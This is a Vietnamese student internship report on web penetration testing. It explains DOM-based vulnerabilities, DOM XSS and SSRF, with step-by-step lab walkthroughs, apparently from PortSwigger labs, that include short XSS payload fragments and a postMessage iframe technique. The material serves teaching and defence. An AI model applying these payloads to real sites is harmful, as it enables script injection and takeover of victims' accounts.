1. Trang chủ
  2. » Luận Văn - Báo Cáo

Pentest kiểm thử xâm nhập hệ thống (phía khách hàng)

51 11 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Pentest Kiểm Thử Xâm Nhập Hệ Thống (Phía Khách Hàng)
Người hướng dẫn ThS. Nguyễn Văn Chức
Trường học Trường Đại Học Kinh Tế - Đại Học Đà Nẵng
Chuyên ngành Hệ Thống Thông Tin
Thể loại Báo Cáo Thực Tập Nghề Nghiệp
Thành phố Đà Nẵng
Định dạng
Số trang 51
Dung lượng 7,05 MB

Cấu trúc

  • 2. Mục tiêu của đề tài (9)
  • 3. Đối tượng và phạm vi nghiên cứu (9)
  • 4. Kết cấu đề tài (10)
  • Chương 1. TỔNG QUAN DOANH NGHIỆP THỰC TẬP VÀ CƠ SỞ LÝ THUYẾT (11)
  • PENTEST 11 (0)
    • 1.1 Giới thiệu tổng quan về doanh nghiệp (11)
    • A. Quản lý, vận hành Khu Công viên phần mềm Đà Nẵng (11)
    • B. Quản lý vận hành hệ thống hạ tầng CNTT-TP thiết yếu phục vụ xây dựng chính quyền điện tử của thành phố (12)
      • 1.2 Tổng quan về vị trí việc làm. (IT Security) (13)
        • 1.2.1 Khái niệm cơ bản về IT Security (13)
        • 1.2.2 Những công việc do IT Security đảm nhiệm trong một tổ chức (13)
      • 1.3 Quy trình PENTEST (14)
        • 1.3.1 Các giai đoạn trong PENTEST (14)
          • 1.3.1.1 Information Gathering (14)
          • 1.3.1.2 Configuration and Deployment Mangement Testing (14)
          • 1.3.1.3 Identify Management Testing (15)
          • 1.3.1.4 Authentication Testing (15)
          • 1.3.1.5 Authorization Testing (15)
          • 1.3.1.6 Sesstion Management Testing (15)
          • 1.3.1.7 Testing for Error Handing (16)
          • 1.3.1.8 Testing for weak Cryptography (16)
          • 1.3.1.9 Bussiness Logic Testing (16)
          • 1.3.1.10 Client Side Testing (16)
        • 1.3.2 Quá trình 5 bước của PENTEST (17)
          • 1.3.2.1 Lập kế hoạch và thực hiện trinh sát (17)
          • 1.3.2.2 Quét (17)
          • 1.3.2.3 Giành quyền truy cập (17)
          • 1.3.2.4 Duy trì quyền truy cập (18)
          • 1.3.2.5 Phân tích (18)
  • Chương 2. Các lổ Hổng Bảo mật Dựa trên DOM và kỹ thuật xâm nhập hệ thống phía máy khách 20 (18)
    • 2.1 DOM là gì (18)
    • 2.2 Taint-flow là gì (20)
      • 2.2.1 Source (20)
        • 2.2.1.1 DOM XSS kết hợp với reflected data và stored data (20)
      • 2.2.2 Các sources phổ biến (25)
      • 2.2.3 Các tin nhắn từ Website (26)
        • 2.2.3.1 Kiểm soát nguồn tin nhắn Web (26)
        • 2.2.3.2 Tác động của các lỗ hổng tin nhắn web dựa trên DOM đến dữ liệu (26)
        • 2.2.3.3 Xây dựng một cuộc tấn công source bằng tin nhắn web (26)
      • 2.2.4 Sinks (30)
        • 2.2.4.1 Các Sinks có thể dẫn đến các lỗ hổng dựa trên DOM (31)
      • 2.2.5 Cách ngăn chặn các lỗ hỏng taint-flow dựa trên DOM (31)
    • 2.3 XSS dựa trên DOM (32)
      • 2.3.1 Cross-site scripting (XSS) (32)
      • 2.3.2 Cross-site scripting (XSS) dựa trên DOM (32)
      • 2.3.3 Khai thác DOM XSS với các sources và sinks khác nhau (33)
        • 2.3.3.1 DOM XSS trong sink document.write sử dụng source location.search (0)
        • 2.3.3.2 DOM XSS trong sink document.write bằng cách sử dụng source (34)
        • 2.3.3.3 DOM XSS trong biểu thức AngularJS với ngoặc nhọn và ngoặc kép mã hóa (36)
  • HTML 38 (0)
    • 2.4 Giả mạo yêu cầu phía máy chủ (SSRF) (37)
      • 2.4.1 Tác động của các cuộc tấn công SSRF là gì? (37)
      • 2.4.2 Các cuộc tấn công SSRF phổ biến (37)
        • 2.4.2.1 SSRF tấn công vào chính máy chủ (37)
        • 2.4.2.2 Các cuộc tấn công SSRF chống lại các hệ thống back-end khác (38)
      • 2.4.3 Khai thác lổ hổng SSRF mù (38)
        • 2.4.3.1 SSRF mù với tính năng phát hiện ngoài băng tần (38)
        • 2.4.3.2 SSRF mù với khai thác Shellshock (40)
  • Chương 3. Triển khai thực nghiệm (43)
    • 3.1 Giới thiệu Website và công cụ BurpSuite để thực hiện tấn công (43)
      • 3.1.1 Giới thiệu triển khai Website (43)
      • 3.1.2 Tổng quản cơ bản về DVWA (43)
        • 3.1.2.1 Khái niệm về DVWA (43)
        • 3.1.2.2 Môi trường (44)
        • 3.1.2.3 Các lổ hổng trong DVWA (44)
        • 3.1.2.4 Các mức độ bảo mật trong DVWA (45)
      • 3.1.3 Tổng quản cơ bản về Web security academy.net của PostSwigger (47)
      • 3.1.4 Tổng quan về BurpSuite (47)
        • 3.1.4.1 Khái niệm cơ bản về BurpSuite (47)
        • 3.1.4.3 Các tính năng chính trong BurpSuite (49)
  • TÀI LIỆU THAM KHẢO (51)

Nội dung

Mục tiêu của đề tài

PenTest, hay Kiểm thử thâm nhập, là một hình thức của Kiểm thử Bảo mật, nhằm phát hiện các lỗ hổng, rủi ro và mối đe dọa bảo mật mà hacker có thể lợi dụng trong ứng dụng phần mềm, mạng hoặc ứng dụng web.

Mục đích chính của việc kiểm tra bảo mật phần mềm là xác định và phát hiện tất cả các lỗ hổng có thể tồn tại, từ đó ngăn chặn hacker xâm nhập vào hệ thống và bảo vệ dữ liệu khỏi nguy cơ mất mát.

- Mô phỏng cách thức thực hiện tấn công vào hệ thống bằng công cụ BurpSuite

- Đề ra những giải pháp hiệu quả để phòng chống.

Kết cấu đề tài

Đề tài được tổ chức gòm phần lời mở đầu, 3 chương nội dung và phần kết luận.

- Chương 1: Tổng quan về doanh nghiệp và quy trình PENTEST.

- Chương 2: Phân tích kỹ thuật xâm nhập hệ thống bên phía máy khách.

- Chương 3: Triển khai thực nghiệm.

- Kết luận và hướng phát triển.

Giới thiệu tổng quan về doanh nghiệp

Địa chỉ: Tòa nhà 02 Quang Trung, Phường Thạch Thang, Quận Hải Châu, Tp Đà Nẵng

Email: iid@danang.gov.vn

Trung tâm Phát triển hạ tầng CNTT Đà Nẵng, được thành lập theo Quyết định số 9885/2007/QĐ-UBND ngày 13/12/2007, đã trải qua nhiều lần bổ sung chức năng và nhiệm vụ qua các Quyết định số 12/QĐ-UBND (04/01/2011), số 5853/QĐ-UBND (24/8/2013) và số 634/QĐ-UBND (29/01/2015) của UBND thành phố Đà Nẵng Trung tâm hoạt động dưới sự quản lý của Sở Thông tin và Truyền thông thành phố Đà Nẵng, với các chức năng và nhiệm vụ quan trọng trong phát triển hạ tầng công nghệ thông tin tại địa phương.

Quản lý, vận hành Khu Công viên phần mềm Đà Nẵng

Trung tâm quản lý có nhiệm vụ tổ chức, quản lý và khai thác hiệu quả các tòa nhà cùng cơ sở hạ tầng công nghệ thông tin mà thành phố giao, nhằm hỗ trợ sự phát triển của ngành công nghiệp phần mềm tại địa phương.

Trung tâm tổ chức thu hút các nhà đầu tư và doanh nghiệp để đầu tư hoặc thuê mặt bằng, văn phòng làm việc tại các toà nhà và cơ sở hạ tầng công nghệ thông tin mà trung tâm quản lý.

Trực tiếp hoặc ủy thác cho các đơn vị thực hiện công tác duy tu, bảo dưỡng và sửa chữa cơ sở hạ tầng cùng các công trình xây dựng mà Trung tâm được giao quản lý.

Trung tâm sẽ ký kết hợp đồng cho thuê mặt bằng và văn phòng cho các tổ chức, cá nhân có nhu cầu tại các toà nhà và cơ sở hạ tầng công nghệ thông tin mà Trung tâm quản lý, nhằm phục vụ cho các hoạt động liên quan đến công nghệ thông tin.

Đảm bảo vệ sinh môi trường và phối hợp với chính quyền địa phương để duy trì an ninh trật tự tại các tòa nhà và cơ sở hạ tầng công nghệ thông tin mà Trung tâm quản lý.

Quản lý vận hành hệ thống hạ tầng CNTT-TP thiết yếu phục vụ xây dựng chính quyền điện tử của thành phố

- Tổ chức quản lý giám sát mạng MAN của thành phố;

Nghiên cứu đưa ra các giải pháp kỹ thuật và công nghệ nhằm hỗ trợ lãnh đạo Sở Thông tin và Truyền thông trong việc quản lý nhà nước về lĩnh vực này, đặc biệt tập trung vào việc lưu trữ dữ liệu thông tin điện tử của thành phố.

Liên kết với các Trung tâm dữ liệu kinh doanh quốc tế cung cấp giải pháp an ninh cho xác định danh tính điện tử và chữ ký điện tử, đồng thời đảm bảo an ninh mạng và bảo vệ dữ liệu Trung tâm này có cổng nối mạng quốc tế và kết nối với các kho dữ liệu quốc tế, phục vụ hiệu quả cho hoạt động kinh doanh của doanh nghiệp và Chính phủ.

Phát triển dịch vụ thương mại điện tử bao gồm việc nâng cao bảo mật và an toàn cho các trang web, email và quy trình trao đổi dữ liệu.

- Cung cấp các dữ liệu thương mại điện tử.

Lưu trữ dữ liệu trực tuyến, cho thuê kho chứa dữ liệu và xử lý thông tin là những dịch vụ quan trọng Hệ thống này tích hợp các cơ sở dữ liệu và phân hệ quản lý trên toàn thành phố, giúp các cơ quan dễ dàng truy cập dữ liệu phục vụ cho công tác quản lý và điều hành theo quy định.

- Tổ chức quản lý, vận hành và khai thác hạ tầng hệ thống mạng Internet không dây của thành phố;

Đơn vị có trách nhiệm thực hiện việc duy tu, bảo dưỡng và sửa chữa hạ tầng kỹ thuật của Mạng đô thị và hệ thống Mạng internet không dây của thành phố, có thể thực hiện trực tiếp hoặc thông qua uỷ thác.

- Thiết kế, thi công, sữa chữa, mở rộng, duy tu, bảo dưỡng hạ tầng công nghệ thông tin, viễn thông cho các cơ quan, tổ chức, cá nhân

Cơ cấu tổ chức như sau.

1.2 Tổng quan về vị trí việc làm (IT Security).

1.2.1 Khái niệm cơ bản về IT Security

Bảo mật CNTT, hay IT Security, bao gồm tất cả các chiến lược an ninh mạng nhằm đo kiểm bảo mật và thực hiện các biện pháp ngăn chặn truy cập trái phép vào tài sản thông tin của tổ chức và doanh nghiệp, bao gồm máy tính, mạng và dữ liệu thông tin.

Hệ thống IT Security đóng vai trò quan trọng trong việc bảo vệ tính nguyên vẹn và bảo mật của thông tin nhạy cảm, đồng thời ngăn chặn các cuộc tấn công từ hacker.

1.2.2 Những công việc do IT Security đảm nhiệm trong một tổ chức

Tùy vào từng tổ chức mà vai trò của vị trí này sẽ thay đổi, nhưng nhìn chung vẫn sẽ là các công việc như sau:

Hình 1 2 Cơ cấu tổ chức công ty

- An toàn vận hành: Giám sát các thông tin được bảo mật và mang tính nhạy cảm của tổ chức ví dụ như các văn bản, chính sách.

- Phối hợp với các phòng ban khác để theo dõi các điểm bất thường và ngăn chặn tấn công mạnh hoặc rò rỉ thông tin tổ chức.

Để đảm bảo an toàn cho sản phẩm, việc kiểm định và giám sát mã nguồn cùng thiết kế là rất quan trọng Cần dự đoán và xử lý kịp thời các tình huống như lỗi hệ thống, lỗi tràn bộ nhớ, mã hóa không an toàn, SQL injection và việc chèn mã độc vào website.

1.3.1 Các giai đoạn trong PENTEST

Trong quá trình kiểm thử thâm nhập, pentester sẽ tiến hành thu thập thông tin chi tiết về đối tượng mục tiêu, bao gồm các thông tin liên quan đến máy chủ chạy ứng dụng như phiên bản ứng dụng, framework, webserver và hệ điều hành.

Việc xác định thông tin liên quan đến ứng dụng là bước quan trọng, giúp tạo điều kiện thuận lợi cho việc tấn công và khai thác, từ đó xây dựng kịch bản tấn công phù hợp.

WebServer là một yếu tố quan trọng trong quá trình kiểm tra an ninh, cho phép phiên bản pentester khai thác các lỗ hổng mà không cần quan tâm đến tính an toàn của ứng dụng đang chạy.

1.3.1.2 Configuration and Deployment Mangement Testing

Đánh giá hệ thống máy chủ và các nền tảng đang vận hành trên nó là điều cần thiết Dù ứng dụng web có thể hoàn toàn an toàn và không có lỗ hổng, nhưng nếu nền tảng chạy ứng dụng đó tồn tại lỗi, thì vẫn có nguy cơ bị tấn công Việc đảm bảo an toàn cho cả hai yếu tố này là rất quan trọng để bảo vệ dữ liệu và thông tin người dùng.

- ví dụ: như hệ điều hành, webServer có bug, điều này hoàn toàn có thể làm nguy hại không chỉ ứng dụng web mà toàn bộ server.

- Cần kiểm tra phần cấu hình cho ứng dụng, chủ yếu phần này do người phát triển kiểm tra Hình thức kiểm tra là whitebox và graybox.

- Nhận định khả năng có lỗi nằm ở đâu Xác định những điểm để thực hiện tấn công được.

- Kiểm tra lại cách thức tạo tài khoản trong ứng dụng Logic trong xử lý và các quyền của User.

Chế độ đăng nhập là một yếu tố quan trọng trong các ứng dụng, cho phép người quản trị hệ thống kiểm soát và quản lý hiệu quả Việc kiểm tra bảo mật cho chức năng đăng nhập không chỉ giúp bảo vệ thông tin mà còn đảm bảo an toàn cho toàn bộ hệ thống.

Kiểm tra xác thực đăng nhập là bước quan trọng để đảm bảo an ninh ứng dụng, bao gồm việc sử dụng các kỹ thuật để vượt qua xác thực và nâng cao quyền hạn Cần đánh giá xem các chính sách quản lý người dùng có hoạt động hiệu quả hay không, như chức năng đăng xuất và yêu cầu mật khẩu mạnh để bảo vệ thông tin người dùng.

Sau khi đăng nhập vào hệ thống, cần kiểm tra tính logic để đảm bảo rằng tất cả các chức năng đã được cấp cho người dùng là đầy đủ và chính xác Đồng thời, cũng cần đánh giá khả năng vượt qua cơ chế bảo mật nhằm xác định rủi ro leo thang đặc quyền.

Các lổ Hổng Bảo mật Dựa trên DOM và kỹ thuật xâm nhập hệ thống phía máy khách 20

DOM là gì

Tất cả các thẻ HTML được quản lý trong đối tượng document (DOM), với thẻ html là thẻ cao nhất, tiếp theo là các phân nhánh body và head Trong thẻ head có các thẻ như style và title, trong khi thẻ body chứa các thẻ khác, tạo thành các thành phần của trang web.

HTML Như vậy ta có thể hiểu trong Javascript để thao tác được với các thẻ HTML ta phải thông qua đối tượng documnent (DOM).

Với DOM, JavaScript được tất cả sức mạnh cần thiết để tạo ra HTML động:

 JavaScript có thể thay đổi tất cả các phần tử HTML trong trang

 JavaScript có thể thay đổi tất cả các thuộc tính HTML trong trang

 JavaScript có thể thay đổi tất cả các phong cách CSS trong trang

 JavaScript có thể loại bỏ các yếu tố HTML và thuộc tính hiện tại

 JavaScript có thể thêm các yếu tố HTML mới và các thuộc tính

 JavaScript có thể phản ứng với tất cả các sự kiện HTML hiện trong trang

 JavaScript có thể tạo ra các sự kiện HTML mới trong trang

Mô hình Đối tượng Tài liệu (DOM) là một giao diện lập trình ứng dụng (API) cho phép truy xuất và thao tác với các tài liệu HTML và XML DOM được cấu trúc dưới dạng một cây dữ liệu, giúp dễ dàng quản lý và tương tác với nội dung tài liệu Đặc biệt, mô hình DOM độc lập với hệ điều hành và dựa trên các kỹ thuật lập trình hướng đối tượng, mang lại sự linh hoạt trong việc mô tả và xử lý tài liệu.

JavaScript có thể được sử dụng để thao tác với các nút và đối tượng trong DOM, cùng với các thuộc tính của chúng, đóng vai trò quan trọng trong hoạt động của các trang web hiện đại Tuy nhiên, việc sử dụng JavaScript không an toàn có thể dẫn đến các cuộc tấn công, đặc biệt là khi các lỗ hổng liên quan đến DOM xuất hiện Những lỗ hổng này xảy ra khi mã JavaScript trên trang web lấy giá trị từ nguồn mà kẻ tấn công kiểm soát và đưa vào một hàm nguy hiểm, được gọi là đích (sink).

Các lỗ hổng liên quan đến taint-flow (taint-flow vulnerabilities)

Nhiều lỗ hổng dựa trên DOM có thể được truy vấn ngược, cho phép kẻ tấn công thao tác với dữ liệu từ phía máy khách và kiểm soát thông tin.

Taint-flow là gì

Để khai thác hoặc giảm thiểu các lỗ hổng này, trên hết chúng ta phải hiểu những kiến thức cơ bản về luồng dữ liệu giữa “Sources” và “Sinks”

Trong JavaScript, thuộc tính "source" có thể chứa dữ liệu dễ bị kẻ tấn công kiểm soát, như thuộc tính location.search, nơi đọc dữ liệu từ chuỗi truy vấn mà kẻ tấn công có thể dễ dàng thao túng Bất kỳ thuộc tính nào có thể bị kiểm soát đều tiềm ẩn nguy cơ, bao gồm URL tham chiếu (document.referrer), cookies người dùng (document.cookie) và tin nhắn web.

2.2.1.1DOM XSS kết hợp với reflected data và stored data

Một số lỗ hổng dựa hoàn toàn vào DOM chỉ xảy ra trong một trang duy nhất Khi mã đọc dữ liệu từ URL và ghi vào một điểm sink nguy hiểm, lỗ hổng này hoàn toàn nằm ở phía máy khách.

Nguồn dữ liệu không chỉ giới hạn ở những thông tin mà trình duyệt trực tiếp truy cập, mà còn có thể xuất phát từ chính trang web Chẳng hạn, các trang web thường hiển thị các tham số URL trong phản hồi HTML từ máy chủ, điều này liên quan đến XSS thông thường và có thể dẫn đến các lỗ hổng reflected DOM XSS.

Lỗ hổng reflected DOM XSS xảy ra khi máy chủ xử lý dữ liệu từ yêu cầu và phản hồi lại dữ liệu đó, có thể là một chuỗi ký tự JavaScript hoặc một mục dữ liệu trong DOM như trường biểu mẫu Khi một đoạn mã trên trang web xử lý dữ liệu được phản hồi một cách không an toàn, nó có thể dẫn đến việc ghi dữ liệu vào một điểm sink nguy hiểm, ví dụ như eval('var data = "reflected string"').

Các trang web có khả năng lưu trữ dữ liệu trên máy chủ và phản ánh dữ liệu đó ở các vị trí khác Trong lỗ hổng stored DOM XSS, máy chủ nhận và lưu trữ dữ liệu từ yêu cầu, sau đó đưa dữ liệu vào phản hồi sau này Một tập lệnh trong phản hồi này chứa một sink, nơi dữ liệu được xử lý một cách không an toàn.

Lỗ hổng Reflected DOM XSS xuất hiện khi máy chủ xử lý dữ liệu từ yêu cầu và phản hồi lại dữ liệu đó Sau đó, một tập lệnh trên trang sẽ xử lý dữ liệu phản hồi một cách không an toàn, dẫn đến việc ghi dữ liệu vào phần chìm nguy hiểm.

Các bước tiến hành một Reflected DOM XSS:

1 Sử dụng công cụ proxy trong burp suite và bật tính năng intercept

Hình 2 2 Bật intercept chặn trang web

2 Thực hiện một request trên trang web và kiểm tra trong proxy

Hình 2 3 Tính năng của tab proxy

3 Từ Sơ đồ trang web, mở tệp searchResults.js và nhận thấy rằng phản hồi JSON được sử dụng với lệnh gọi hàm eval()

4 Nhập cụm từ \"-alert(1)}// vào search box, Vì đã chèn dấu gạch chéo ngược và trang web không thoát khỏi dấu gạch chéo ngược, nên khi phản hồi JSON cố gắng thoát ký tự dấu ngoặc kép mở, nó sẽ thêm dấu gạch chéo ngược thứ hai Dấu gạch chéo ngược kép dẫn đến việc thoát bị hủy bỏ một cách hiệu quả Điều này có nghĩa là các dấu ngoặc kép được xử lý không thoát, đóng chuỗi chứa cụm từ tìm kiếm.

Hình 2 5 Kết quả sau khi tấn công

Toán tử số học, cụ thể là toán tử trừ, được sử dụng để phân tách các biểu thức trước khi hàm alert() được thực thi Cuối cùng, một dấu ngoặc nhọn đóng cùng với hai dấu gạch chéo sẽ kết thúc đối tượng JSON sớm và nhận xét phần còn lại của nó.

Lỗ hổng DOM có thể được lưu trữ trong chức năng bình luận blog Tin tặc có thể khai thác lỗ hổng này bằng cách gọi hàm alert()

Các bước tiến hàng stored DOM XSS

1 Đăng nhận xét vào một blog với vector:

Hình 2 7 Lỗi trang được hiển thị

Để ngăn chặn XSS, trang web sử dụng hàm JavaScript replace() để mã hóa dấu ngoặc nhọn Tuy nhiên, khi đối số đầu tiên là chuỗi, hàm chỉ thay thế lần xuất hiện đầu tiên Lợi dụng lỗ hổng này, người tấn công có thể thêm một tập hợp các dấu ngoặc nhọn vào đầu nhận xét, khiến chúng bị mã hóa, trong khi các dấu ngoặc nhọn tiếp theo không bị ảnh hưởng Điều này cho phép bỏ qua bộ lọc và chèn HTML một cách hiệu quả.

Hình 2 8 Mã HTML được chèn vào comment 2.2.2 Các sources phổ biến

Dưới đây là các sources phổ biến để khai thác lỗ hổng Taint-flow:

2.2.3 Các tin nhắn từ Website

2.2.3.1Kiểm soát nguồn tin nhắn Web các thông báo tin nhắn từ web có thể được sử dụng làm nguồn để khai thác các lỗ hổng DOM trên trang người nhận Cách một cuộc tấn công như vậy được xây dựng dựa trên các kỹ thuật xác minh nguồn gốc phổ biến (origin-verification) và có thể bị hệ thống bỏ qua.

Nếu một trang web xử lý thông báo và tin nhắn mà không đảm bảo an toàn, việc không xác minh nguồn gốc của các thông báo trong trình xử lý sự kiện có thể dẫn đến việc các thuộc tính và chức năng mà trình xử lý sự kiện gọi trở thành điểm yếu.

Kẻ tấn công có thể lưu trữ phần mềm độc hại dưới dạng iframe và sử dụng phương pháp postMessage() để gửi dữ liệu thông báo web đến trình xử lý sự kiện dễ bị tấn công Sau đó, trình xử lý này sẽ chuyển tải trọng đến sink trên trang mẹ, cho phép việc sử dụng các thông báo trên web làm nguồn để phát tán dữ liệu độc hại đến bất kỳ phần nào trong trang.

2.2.3.2Tác động của các lỗ hổng tin nhắn web dựa trên DOM đến dữ liệu

Tác động tiềm ẩn của lỗ hổng bảo mật phụ thuộc vào việc xử lý tin nhắn của tài liệu đích.

Nếu tài liệu đích tin tưởng người gửi, kẻ tấn công có thể lợi dụng điều này để đánh cắp thông tin người dùng Khi dữ liệu được xử lý không an toàn và chuyển vào sink, nguy cơ truyền tải dữ liệu độc hại trong tin nhắn gia tăng.

2.2.3.3Xây dựng một cuộc tấn công source bằng tin nhắn web

Nếu một trang web nhận dữ liệu tin nhắn từ nguồn không đáng tin cậy mà không có xác minh nguồn gốc đầy đủ, thì bất kỳ sink nào được sử dụng bởi trình xử lý sự kiện tin nhắn đều có thể tạo ra lỗ hổng bảo mật.

2.2.3.3.1 DOM XSS sử dụng tin nhắn web

Sử dụng exploit server để đăng thông báo lên trang đích khiến hàm print() được gọi

1 Kiểm tra website và lưu ý rằng trang chủ chứa một addEventListener() lắng nghe tin nhắn web

2 Sử dụng exploit server và thêm iframe dưới vào phần thân cộng với URL của website

Hình 2 9 Trong exploit server thêm iframe trên vào body

3 Stored exploit và chuyển tiếp đến cho nạn nhân

Khi iframe tải, phương thức postMessage() sẽ gửi tin nhắn đến trang chủ Trình xử lý sự kiện lắng nghe và phân phát quảng cáo, lấy nội dung tin nhắn trên web và chèn vào div có ID ads Tuy nhiên, nó chèn thẻ img với thuộc tính src không hợp lệ, dẫn đến lỗi onerror khi trình xử lý sự kiện thực thi tải trọng.

2.2.3.3.2 DOM XSS sử dụng tin nhắn web kết hợp với java script

XSS dựa trên DOM

Cross-site scripting (XSS) là một lỗ hổng bảo mật web nghiêm trọng, cho phép kẻ tấn công can thiệp vào các tương tác của người dùng thông qua những ứng dụng dễ bị tấn công.

Lỗ hổng cross-site scripting (XSS) cho phép kẻ tấn công vi phạm chính sách bảo mật, làm cho việc tách biệt các trang web trở nên không hiệu quả Kẻ tấn công có thể giả dạng nạn nhân, thực hiện các hành động mà nạn nhân có thể làm và truy cập vào dữ liệu cá nhân của họ Nếu nạn nhân có quyền truy cập đặc quyền trong ứng dụng, kẻ tấn công sẽ có khả năng kiểm soát toàn bộ chức năng và dữ liệu của ứng dụng như một quản trị viên.

2.3.2 Cross-site scripting (XSS) dựa trên DOM

Lỗ hổng XSS dựa trên DOM xuất hiện khi JavaScript lấy dữ liệu từ nguồn bị kiểm soát bởi kẻ tấn công, như URL, và chuyển dữ liệu đó đến sink có khả năng thực thi mã, chẳng hạn như eval() hoặc innerHTML Điều này cho phép kẻ tấn công thực thi mã JavaScript độc hại, có khả năng chiếm đoạt tài khoản người dùng Để thực hiện tấn công XSS dựa trên DOM, cần truyền dữ liệu đến sink để kích hoạt việc thực thi JavaScript tùy ý.

Nguồn phổ biến nhất gây ra DOM XSS là URL, thường liên quan đến đối tượng window.location Kẻ tấn công có thể tạo liên kết dẫn nạn nhân đến trang dễ bị tấn công thông qua tải trọng trong chuỗi truy vấn và các phần phân đoạn của URL Trong một số trường hợp cụ thể, như khi nhắm mục tiêu vào trang 404 hoặc trang web chạy PHP, tải trọng cũng có thể được chèn vào đường dẫn.

2.3.3 Khai thác DOM XSS với các sources và sinks khác nhau

Một trang web dễ bị tấn công bởi cross-site scripting dựa trên DOM khi có đường dẫn cho phép dữ liệu truyền từ nguồn đến điểm tiếp nhận Các nguồn và điểm tiếp nhận khác nhau có thuộc tính và hành vi riêng, ảnh hưởng đến khả năng khai thác và xác định kỹ thuật cần thiết Hơn nữa, tập lệnh của trang web có thể thực hiện xác thực hoặc xử lý dữ liệu nhằm ngăn chặn kẻ tấn công khai thác lỗ hổng bảo mật Có nhiều loại điểm tiếp nhận liên quan đến các lỗ hổng dựa trên DOM.

2.3.3.1DOM XSS trong sink document.write sử dụng source location.search

The website has a DOM cross-site scripting vulnerability in its search query tracking feature, which utilizes the JavaScript function document.write to output data This function is called with data from location.search, allowing control through the website's URL Hackers can exploit this vulnerability by using the alert function to execute a cross-site scripting attack.

1 Nhập một chuỗi chữ và số ngẫu nhiên vào hộp tìm kiếm

2 Nhấp chuột phải và kiểm tra phần tử và quan sát thấy rằng chuỗi ngẫu nhiên của bạn đã được đặt bên trong một thuộc tính img src

Hình 2 12 Kiểm tra phần tử nằm trong thuộc tính img src

3 Thoát ra khỏi thuộc tính img bằng cách nhập chuỗi "> vào khung tìm kiếm

Hình 2 13 Nhập chuỗi HTML và thoát khỏi thuộc tính

2.3.3.2DOM XSS trong sink document.write bằng cách sử dụng source location.search bên trong phần tử được chọn

1 Trên trang sản phẩm, hãy lưu ý rằng JavaScript nguy hiểm trích xuất một tham số storeId từ source location.search Sau đó, nó sử dụng sink document.write để tạo một tùy chọn mới trong phần tử của chức năng check stock.

Thêm tham số storeId vào URL và nhập một chuỗi ngẫu nhiên gồm chữ và số làm giá trị Gửi yêu cầu để cập nhật URL này.

3 Trong trình duyệt, lưu ý rằng chuỗi ngẫu nhiên của bạn nhập được liệt kê là một trong các tùy chọn trong danh sách check stock, nhấp chuột phải và kiểm tra danh sách thả xuống để xác nhận rằng giá trị của tham số storeId của bạn đã được đặt bên trong một phần tử được chọn.

Hình 2 14 Kiểm tra tham số StoredId đã được đặt trong phần tử được chọn

4 Thay đổi URL để bao gồm tải trọng XSS phù hợp bên trong tham số storeId như sau product?productId=1&storeId=">

Hình 2 15 Thay đổi URL bao gồm tải trọng XSS

2.3.3.3DOM XSS trong biểu thức AngularJS với ngoặc nhọn và ngoặc kép mã hóa HTML

AngularJS là thư viện JavaScript nổi bật, cho phép quét nội dung các nút HTML có thuộc tính ng-app (chỉ thị AngularJS) Khi bạn thêm lệnh vào mã HTML, có thể thực thi các biểu thức JavaScript trong dấu ngoặc nhọn đôi, kỹ thuật này rất hữu ích khi dấu ngoặc nhọn được mã hóa.

Kẻ tấn công có thể thực hiện tấn công cross-site scripting dựa trên DOM trong biểu thức AngularJS thông qua chức năng tìm kiếm và gọi hàm alert

1 Thông qua nguồn trang, tạo một chuỗi ngẫu nhiên đính kèm trong một lệnh ng-app

2 Trở về trang chủ nhập biểu thức AngularJS sau vào hộp tìm kiếm

Hình 2 16 Hàm alert() được gọi

Giả mạo yêu cầu phía máy chủ (SSRF)

Giả mạo yêu cầu phía máy chủ (SSRF) là một lỗ hổng bảo mật web nghiêm trọng, cho phép kẻ tấn công lợi dụng ứng dụng phía máy chủ để gửi yêu cầu đến các địa chỉ không mong muốn Lỗ hổng này có thể dẫn đến việc tiết lộ thông tin nhạy cảm hoặc truy cập trái phép vào các dịch vụ nội bộ Bảo vệ chống lại SSRF là rất cần thiết để đảm bảo an toàn cho hệ thống và dữ liệu.

Trong một cuộc tấn công SSRF, kẻ tấn công có thể lợi dụng máy chủ để kết nối với các dịch vụ nội bộ trong hạ tầng tổ chức hoặc các hệ thống bên ngoài, dẫn đến nguy cơ rò rỉ dữ liệu nhạy cảm như thông tin đăng nhập ủy quyền.

2.4.1 Tác động của các cuộc tấn công SSRF là gì?

Cuộc tấn công SSRF có thể dẫn đến quyền truy cập trái phép vào dữ liệu trong tổ chức và ứng dụng dễ bị tổn thương, cũng như các hệ thống phụ trợ mà ứng dụng tương tác Trong một số tình huống, lỗ hổng SSRF cho phép kẻ tấn công thực hiện lệnh tùy ý.

Một khai thác SSRF có thể tạo ra kết nối tới các hệ thống bên thứ ba bên ngoài, dẫn đến các cuộc tấn công nghiêm trọng, dường như xuất phát từ tổ chức lưu trữ ứng dụng dễ bị tấn công.

2.4.2 Các cuộc tấn công SSRF phổ biến

Các cuộc tấn công SSRF lợi dụng các mối quan hệ tin cậy để gia tăng mức độ tấn công từ ứng dụng dễ bị tổn thương, từ đó thực hiện các hành động trái phép Những mối quan hệ tin cậy này có thể xuất hiện giữa máy chủ chính và các hệ thống phụ trợ trong cùng một tổ chức.

2.4.2.1SSRF tấn công vào chính máy chủ

Trong một cuộc tấn công SSRF, kẻ tấn công lợi dụng ứng dụng để gửi yêu cầu HTTP trở lại máy chủ lưu trữ ứng dụng thông qua giao diện mạng vòng lặp Điều này thường xảy ra khi kẻ tấn công cung cấp một URL với tên máy chủ cụ thể.

127.0.0.1(địa chỉ IP dành riêng trỏ đến bộ điều hợp loopback) hoặc localhost (tên thường được sử dụng cho cùng một bộ điều hợp).

2.4.2.2Các cuộc tấn công SSRF chống lại các hệ thống back-end khác

Một mối quan hệ tin cậy có thể phát sinh khi máy chủ ứng dụng tương tác với các hệ thống phụ trợ mà người dùng không thể truy cập trực tiếp, thường có địa chỉ IP riêng không định tuyến Các hệ thống back-end, thường được bảo vệ bởi cấu trúc mạng, có thể có tình trạng bảo mật yếu hơn Điều này dẫn đến việc hệ thống back-end nội bộ có thể chứa chức năng nhạy cảm, cho phép bất kỳ ai có khả năng tương tác với nó truy cập mà không cần xác thực.

2.4.3 Khai thác lổ hổng SSRF mù

Lỗ hổng SSRF mù xảy ra khi một ứng dụng cho phép gửi yêu cầu HTTP tới một URL được chỉ định, nhưng không trả về phản hồi từ yêu cầu đó trong phản hồi của ứng dụng.

